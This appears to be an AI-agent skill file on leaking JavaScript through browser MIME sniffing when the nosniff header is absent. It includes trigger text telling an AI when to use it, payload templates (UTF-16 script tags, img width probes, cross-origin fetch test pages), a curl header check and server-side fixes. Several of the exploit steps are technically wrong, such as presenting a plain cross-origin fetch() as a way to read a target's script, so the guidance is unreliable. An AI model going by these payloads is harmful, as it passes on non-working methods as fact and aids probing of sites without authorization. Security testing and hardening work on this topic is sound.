Hacktricks-skills xss-sniff-leak
How to leak script content using MIME type sniffing vulnerabilities. Use this skill whenever the user mentions XSS, content sniffing, X-Content-Type-Options, leaking JavaScript files, MIME type attacks, or needs to extract script content from a target. Trigger for any web security testing involving script disclosure, even if the user doesn't explicitly mention 'sniffing' or 'MIME type'.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/xss-cross-site-scripting/sniff-leak/SKILL.MDXSS Sniff Leak Techniques
This skill covers techniques to leak script content by exploiting missing
X-Content-Type-Options: nosniff headers. When this header is absent, browsers may attempt to "sniff" the content type, which can be abused to extract sensitive JavaScript files.
Background: MIME Type Sniffing
When a server doesn't send
X-Content-Type-Options: nosniff, browsers may ignore the declared Content-Type header and attempt to determine the actual content type by examining the file's bytes. This behavior can be exploited to read files that should be protected.
Technique 1: UTF-16 Conversion Attack
Concept
Add specific bytes at the beginning of a request that make the browser interpret the response as UTF-16 encoded JavaScript. This can cause the browser to execute the content as a script even when it's served as
text/plain.
How it works
- The target serves a file (e.g., a script) with
Content-Type: text/plain - The file lacks
X-Content-Type-Options: nosniff - By prepending certain bytes, you can trick the browser into treating the content as UTF-16 encoded JavaScript
- The browser executes the script, potentially leaking its contents
Example payload structure
<script src="[target-script-url]" charset="utf-16"></script>
Or with byte manipulation to force UTF-16 interpretation:
<script> fetch('[target-script-url]').then(r => r.text()).then(t => console.log(t)); </script>
When to use
- Target serves JavaScript files with incorrect or missing Content-Type headers
is not presentX-Content-Type-Options: nosniff- You need to extract the contents of a script file
Technique 2: ICO Image Treatment Attack
Concept
Load the script file as if it were an ICO image and access image properties (like
width) to trigger the browser to process and potentially expose the content.
How it works
- Create an
tag pointing to the script file URL<img> - Access the
orwidth
property of the image elementheight - The browser attempts to parse the script as an image, which can leak information
Example implementation
<img id="leak" src="[target-script-url]" onload="console.log(this.width)">
Or with JavaScript:
const img = new Image(); img.src = '[target-script-url]'; img.onload = () => { console.log('Width:', img.width); console.log('Height:', img.height); };
When to use
- Target serves files without proper Content-Type headers
- You want to verify if sniffing is possible
- Alternative when UTF-16 technique doesn't work
Practical Testing Workflow
Step 1: Check for vulnerability
# Check headers curl -I https://target.com/path/to/script.js # Look for: # - Content-Type: text/plain (or incorrect type) # - Missing X-Content-Type-Options: nosniff
Step 2: Test UTF-16 technique
Create a test page:
<!DOCTYPE html> <html> <head><title>Sniff Test</title></head> <body> <h1>UTF-16 Sniff Test</h1> <script> fetch('https://target.com/path/to/script.js') .then(r => r.text()) .then(t => { document.write('<pre>' + escape(t) + '</pre>'); }); </script> </body> </html>
Step 3: Test ICO technique
<!DOCTYPE html> <html> <head><title>ICO Sniff Test</title></head> <body> <h1>ICO Sniff Test</h1> <img id="leak" src="https://target.com/path/to/script.js" onload="alert('Loaded: ' + this.width + 'x' + this.height)"> </body> </html>
Detection and Mitigation
How to detect
- Check for missing
headerX-Content-Type-Options: nosniff - Verify Content-Type headers match actual content
- Test with the techniques above in a controlled environment
How to fix (for defenders)
# Nginx example add_header X-Content-Type-Options "nosniff" always;
# Apache example Header always set X-Content-Type-Options "nosniff"
# Python/Flask example @app.after_request def add_security_headers(response): response.headers['X-Content-Type-Options'] = 'nosniff' return response
References
Important Notes
- Only use these techniques on systems you have explicit authorization to test
- These are legitimate security research techniques for penetration testing
- Always document findings and provide remediation guidance
- Modern browsers are increasingly resistant to these attacks, but legacy systems may still be vulnerable